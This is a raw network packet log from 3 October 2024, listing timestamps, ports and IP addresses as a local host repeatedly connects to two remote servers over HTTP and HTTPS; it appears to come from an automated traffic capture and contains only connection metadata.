Oct 3, 2024 06:53:35.580804110 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:35.584969997 CEST	49764	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:35.588452101 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.589251041 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.593614101 CEST	80	49763	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:35.594136000 CEST	80	49765	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:35.596739054 CEST	49763	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.596744061 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.596878052 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:35.601746082 CEST	80	49765	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:36.070343971 CEST	80	49765	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:36.119065046 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:36.119159937 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:36.119232893 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:36.119643927 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:36.119668961 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:36.121496916 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:36.594623089 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:36.596353054 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:36.596417904 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:36.725564003 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:36.725806952 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:36.725827932 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.008972883 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.009078979 CEST	443	49766	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.009329081 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.010097027 CEST	49766	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.014638901 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.014673948 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.018758059 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.019058943 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.019076109 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.486747980 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.488303900 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.488327026 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.603014946 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.606645107 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.606663942 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.862891912 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:37.869929075 CEST	80	49765	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:37.869995117 CEST	49765	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:37.887865067 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.888048887 CEST	443	49767	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:37.888096094 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:37.888497114 CEST	49767	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:39.589643955 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:39.846229076 CEST	80	49768	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:39.846312046 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:39.846515894 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:39.851299047 CEST	80	49768	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:40.321969986 CEST	80	49768	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:40.324733973 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:40.324776888 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:40.324826956 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:40.325133085 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:40.325140953 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:40.408616066 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:40.800251007 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:40.801923037 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:40.801938057 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:40.937753916 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:40.964932919 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:40.964960098 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:41.293390989 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:41.293535948 CEST	443	49769	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:41.298676014 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:41.299782991 CEST	49769	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:41.410731077 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:41.411587954 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:41.416590929 CEST	80	49768	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:41.416630983 CEST	80	49770	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:41.416701078 CEST	49768	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:41.416739941 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:41.416971922 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:41.421796083 CEST	80	49770	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:41.877695084 CEST	80	49770	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:41.880158901 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:41.880189896 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:41.880256891 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:41.880597115 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:41.880606890 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:41.940710068 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:42.343097925 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.344928026 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.344943047 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.460776091 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.461178064 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.461201906 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.672175884 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.672358036 CEST	443	49771	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.672436953 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.684878111 CEST	49771	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.686898947 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.686985970 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:42.687072039 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.687534094 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:42.687613010 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.149029970 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.150605917 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:43.150701046 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.150737047 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:43.155910015 CEST	80	49770	104.26.13.205	192.168.2.4
Oct 3, 2024 06:53:43.157717943 CEST	49770	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:53:43.273340940 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.273636103 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:43.273694038 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.481622934 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.481802940 CEST	443	49772	104.21.54.163	192.168.2.4
Oct 3, 2024 06:53:43.485264063 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:53:43.485656023 CEST	49772	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:03.200875998 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:03.200906992 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:03.217988968 CEST	80	49773	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:03.218100071 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:03.218317986 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:03.220658064 CEST	80	49749	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:03.220765114 CEST	49749	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:03.240515947 CEST	80	49773	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:03.720170021 CEST	80	49773	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:03.722410917 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:03.722506046 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:03.722712994 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:03.726743937 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:03.726778984 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:03.768920898 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.225929022 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.227710009 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:04.227762938 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.366532087 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.367074013 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:04.367110014 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.722593069 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.722666025 CEST	443	49774	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:04.722731113 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:04.729893923 CEST	49774	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:04.834264040 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.834301949 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.843539000 CEST	80	49775	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:04.844499111 CEST	80	49773	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:04.844604015 CEST	49773	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.844757080 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.844757080 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:04.856542110 CEST	80	49775	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:05.310648918 CEST	80	49775	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:05.314771891 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:05.314884901 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:05.315085888 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:05.315366983 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:05.315418005 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:05.441049099 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:05.797769070 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:05.799952984 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:05.800018072 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:05.938673019 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:05.939326048 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:05.939373970 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.225258112 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.225433111 CEST	443	49776	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.225574970 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.226366997 CEST	49776	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.228795052 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.228832006 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.228893995 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.229192019 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.229202032 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.712337971 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.713757038 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.713769913 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.714103937 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:06.719244957 CEST	80	49775	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:06.719404936 CEST	49775	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:06.847440958 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:06.851032019 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:06.851052046 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:07.140258074 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:07.140403032 CEST	443	49777	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:07.140626907 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:07.142151117 CEST	49777	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:34.833689928 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:34.838954926 CEST	80	49778	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:34.841363907 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:34.845525026 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:34.850368023 CEST	80	49778	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:35.299020052 CEST	80	49778	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:35.305222988 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:35.305314064 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:35.305771112 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:35.306041956 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:35.306093931 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:35.425514936 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:35.586913109 CEST	80	49778	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:35.587035894 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:35.770648956 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:35.776911020 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:35.776942968 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:35.884434938 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:35.884866953 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:35.884912968 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:36.182436943 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:36.182660103 CEST	443	49779	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:36.182727098 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:36.183593035 CEST	49779	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:36.211008072 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:36.212563038 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:36.216202974 CEST	80	49778	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:36.216280937 CEST	49778	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:36.217416048 CEST	80	49780	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:36.217489004 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:36.217592955 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:36.222377062 CEST	80	49780	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:36.676245928 CEST	80	49780	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:36.679616928 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:36.679661036 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:36.679711103 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:36.680003881 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:36.680016041 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:36.768982887 CEST	49780	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:37.147701979 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.152296066 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.152331114 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.260222912 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.263107061 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.263138056 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.545103073 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.545279026 CEST	443	49781	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.545384884 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.545778990 CEST	49781	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.546926022 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.546979904 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:37.549609900 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.549923897 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:37.549945116 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.030868053 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.033116102 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:38.033133030 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.169294119 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.169625998 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:38.169661999 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.233115911 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:38.238683939 CEST	80	49753	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:38.238744974 CEST	49753	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:38.448566914 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.448735952 CEST	443	49782	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:38.448801994 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:38.449233055 CEST	49782	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:39.566822052 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:39.572015047 CEST	80	49783	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:39.575108051 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:39.575108051 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:39.580034018 CEST	80	49783	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:40.064800978 CEST	80	49783	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:40.067930937 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.067984104 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.068046093 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.068520069 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.068536043 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.136508942 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.527115107 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.529252052 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.529283047 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.648994923 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.649768114 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.649796009 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.943070889 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.943155050 CEST	443	49784	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:40.943238974 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.943752050 CEST	49784	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:40.953423977 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.956537962 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.959583044 CEST	80	49783	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:40.959685087 CEST	49783	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.961380959 CEST	80	49785	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:40.961492062 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.961605072 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:40.966988087 CEST	80	49785	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:41.441277981 CEST	80	49785	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:41.481488943 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:41.481589079 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:41.481923103 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:41.485387087 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:41.485467911 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:41.566411018 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:41.938126087 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:41.940325975 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:41.940387011 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.073244095 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.073587894 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.073663950 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.359138966 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.359309912 CEST	443	49786	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.359405994 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.359853983 CEST	49786	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.361068964 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.361159086 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.361244917 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.361531019 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.361569881 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.824110985 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.825917006 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.825962067 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.946357965 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:42.946681023 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:42.946731091 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:43.193608999 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:43.198864937 CEST	80	49785	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:43.198935986 CEST	49785	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:43.234560966 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:43.234743118 CEST	443	49787	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:43.234879017 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:43.235177040 CEST	49787	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:45.297669888 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:45.302676916 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:45.302789927 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:45.303953886 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:45.308737040 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:45.757462978 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:45.760915041 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:45.760960102 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:45.761066914 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:45.761531115 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:45.761548042 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:45.916521072 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:46.042872906 CEST	80	49788	104.26.13.205	192.168.2.4
Oct 3, 2024 06:54:46.042948008 CEST	49788	80	192.168.2.4	104.26.13.205
Oct 3, 2024 06:54:46.222551107 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.225236893 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.225248098 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.337136030 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.363982916 CEST	49789	443	192.168.2.4	104.21.54.163
Oct 3, 2024 06:54:46.364001989 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.688208103 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.688381910 CEST	443	49789	104.21.54.163	192.168.2.4
Oct 3, 2024 06:54:46.688590050 CEST	49789	443	192.168.2.4	104.21.54.163
